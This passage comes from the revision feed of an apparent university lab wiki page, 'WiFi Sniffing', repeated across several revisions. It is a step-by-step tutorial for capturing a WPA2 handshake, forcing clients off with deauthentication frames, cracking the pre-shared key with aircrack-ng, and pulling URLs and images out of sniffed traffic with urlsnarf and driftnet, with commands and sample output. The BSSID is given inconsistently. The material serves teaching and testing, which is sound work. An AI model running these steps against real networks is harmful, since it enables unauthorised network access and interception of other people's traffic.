 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]&lt;br /&gt;
&lt;br /&gt;
=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===&lt;br /&gt;
&lt;br /&gt;
In this step the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2 : -w CapturedData).&lt;br /&gt;
One can use a dictionary which comes with aircrack-ng called &amp;quot;password.lst&amp;quot;. But for the sake of this tutorial i opened a file and wrote the password of the AP in it. Using the command:&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap&lt;br /&gt;
&lt;br /&gt;
-w password.lst is the used dictionary&lt;br /&gt;
-b is the BSSID of the AP&lt;br /&gt;
The wildcard at the end of CapturedData is because aircrack-ng created multiple files&lt;br /&gt;
&lt;br /&gt;
The ouput looks as follows:&lt;br /&gt;
&lt;br /&gt;
            Aircrack-ng 0.8&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
                 [00:00:00] 2 keys tested (37.20 k/s)&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
                         KEY FOUND! [ AKITs1!]&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
    Master Key     : &amp;lt;Master Key&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
    Transcient Key : &amp;lt;Transcient Key&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8255</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8255"/>
		<updated>2021-12-17T12:14:24Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Description */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID:&lt;br /&gt;
*Channel used by AP:&lt;br /&gt;
*Wireless interface:&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===&lt;br /&gt;
&lt;br /&gt;
To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]&#039;s tutorial&lt;br /&gt;
&lt;br /&gt;
Open a terminal and type :&lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:&lt;br /&gt;
&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0           ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
&lt;br /&gt;
The next step is to switch to monitor mode. Syntax: airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel used by AP&amp;gt;. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0 &lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 Found 2 processes that could cause trouble.&lt;br /&gt;
 Kill them using &#039;airmon-ng check kill&#039; before putting&lt;br /&gt;
 the card in monitor mode, they will interfere by changing channels&lt;br /&gt;
 and sometimes putting the interface back in managed mode&lt;br /&gt;
    PID Name&lt;br /&gt;
    605 NetworkManager&lt;br /&gt;
   2948 wpa_supplicant&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0mon        ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
                (mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)&lt;br /&gt;
&lt;br /&gt;
Now we can check if the interface is in monitormode using iwconfig:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
 lo        no wireless extensions.&lt;br /&gt;
 eth0      no wireless extensions.&lt;br /&gt;
 tun0      no wireless extensions.&lt;br /&gt;
 wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&lt;br /&gt;
As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng &amp;lt;interface&amp;gt; we can monitor all AP&#039;s within reach. &lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
The output presented shows all AP&#039;s with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used&lt;br /&gt;
&lt;br /&gt;
 CH  4 ][ Elapsed: 1 min ][ 2021-12-17 10:40                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                    &lt;br /&gt;
 68:02:B8:1F:A1:3A  -50       46       31    0  11  130   WPA2 CCMP   PSK  WLAN18250073&lt;br /&gt;
&lt;br /&gt;
Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===&lt;br /&gt;
&lt;br /&gt;
Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w &amp;lt;filename&amp;gt;  &amp;lt;interface&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon&lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38                    4-Way Handshake CAPTURED                                                                                                                                                                                                                                                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  -48  24       63       62    2  11  130   WPA2 CCMP   PSK  WLAN18250073                                                                                                                                                                                                                                                                                           &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  5C:5F:67:29:51:76  -18    0e- 0e     3       62                                                                                                                                                                       &lt;br /&gt;
 68:02:B8:1F:A1:3A  66:60:B5:63:1F:B9  -58    0 - 1      0        2&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
In the top right corner it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured is says: [WPA handshake: 68:02:B8:1F:A1:3A.#&lt;br /&gt;
&lt;br /&gt;
Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.&lt;br /&gt;
&lt;br /&gt;
=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===&lt;br /&gt;
&lt;br /&gt;
A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.&lt;br /&gt;
Deauthenication is started with aireplay-ng -0 &amp;lt;number of deauths to send&amp;gt; -a &amp;lt;BSSID&amp;gt; -c &amp;lt;MAC of client&amp;gt; &amp;lt;interface&amp;gt;.&lt;br /&gt;
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needes to be running to capture the packets!&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon&lt;br /&gt;
&lt;br /&gt;
the output:&lt;br /&gt;
&lt;br /&gt;
 11:21:15  Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11&lt;br /&gt;
 11:21:16  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]&lt;br /&gt;
 11:21:18  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]&lt;br /&gt;
 11:21:19  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]&lt;br /&gt;
 11:21:21  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]&lt;br /&gt;
&lt;br /&gt;
=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===&lt;br /&gt;
&lt;br /&gt;
In this step the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2 : -w CapturedData).&lt;br /&gt;
One can use a dictionary which comes with aircrack-ng called &amp;quot;password.lst&amp;quot;. But for the sake of this tutorial i opened a file and wrote the password of the AP in it. Using the command:&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap&lt;br /&gt;
&lt;br /&gt;
-w password.lst is the used dictionary&lt;br /&gt;
-b is the BSSID of the AP&lt;br /&gt;
The wildcard at the end of CapturedData is because aircrack-ng created multiple files&lt;br /&gt;
&lt;br /&gt;
The ouput looks as follows:&lt;br /&gt;
&lt;br /&gt;
            Aircrack-ng 0.8&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
                 [00:00:00] 2 keys tested (37.20 k/s)&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
                         KEY FOUND! [ 12345678 ]&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
    Master Key     : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E &lt;br /&gt;
                     B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD &lt;br /&gt;
 &lt;br /&gt;
    Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 &lt;br /&gt;
                     CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 &lt;br /&gt;
                     FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E &lt;br /&gt;
                     2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 &lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8254</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8254"/>
		<updated>2021-12-17T12:01:50Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Step 4 - Use aircrack-ng to crack the key using the collected handshake */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID:&lt;br /&gt;
*Channel used by AP:&lt;br /&gt;
*Wireless interface:&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===&lt;br /&gt;
&lt;br /&gt;
To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]&#039;s tutorial&lt;br /&gt;
&lt;br /&gt;
Open a terminal and type :&lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:&lt;br /&gt;
&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0           ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
&lt;br /&gt;
The next step is to switch to monitor mode. Syntax: airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel used by AP&amp;gt;. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0 &lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 Found 2 processes that could cause trouble.&lt;br /&gt;
 Kill them using &#039;airmon-ng check kill&#039; before putting&lt;br /&gt;
 the card in monitor mode, they will interfere by changing channels&lt;br /&gt;
 and sometimes putting the interface back in managed mode&lt;br /&gt;
    PID Name&lt;br /&gt;
    605 NetworkManager&lt;br /&gt;
   2948 wpa_supplicant&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0mon        ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
                (mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)&lt;br /&gt;
&lt;br /&gt;
Now we can check if the interface is in monitormode using iwconfig:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
 lo        no wireless extensions.&lt;br /&gt;
 eth0      no wireless extensions.&lt;br /&gt;
 tun0      no wireless extensions.&lt;br /&gt;
 wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&lt;br /&gt;
As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng &amp;lt;interface&amp;gt; we can monitor all AP&#039;s within reach. &lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
The output presented shows all AP&#039;s with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used&lt;br /&gt;
&lt;br /&gt;
 CH  4 ][ Elapsed: 1 min ][ 2021-12-17 10:40                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                    &lt;br /&gt;
 68:02:B8:1F:A1:3A  -50       46       31    0  11  130   WPA2 CCMP   PSK  WLAN18250073&lt;br /&gt;
&lt;br /&gt;
Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===&lt;br /&gt;
&lt;br /&gt;
Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w &amp;lt;filename&amp;gt;  &amp;lt;interface&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon&lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38                    4-Way Handshake CAPTURED                                                                                                                                                                                                                                                                                                                                                                                                                        &lt;br /&gt;
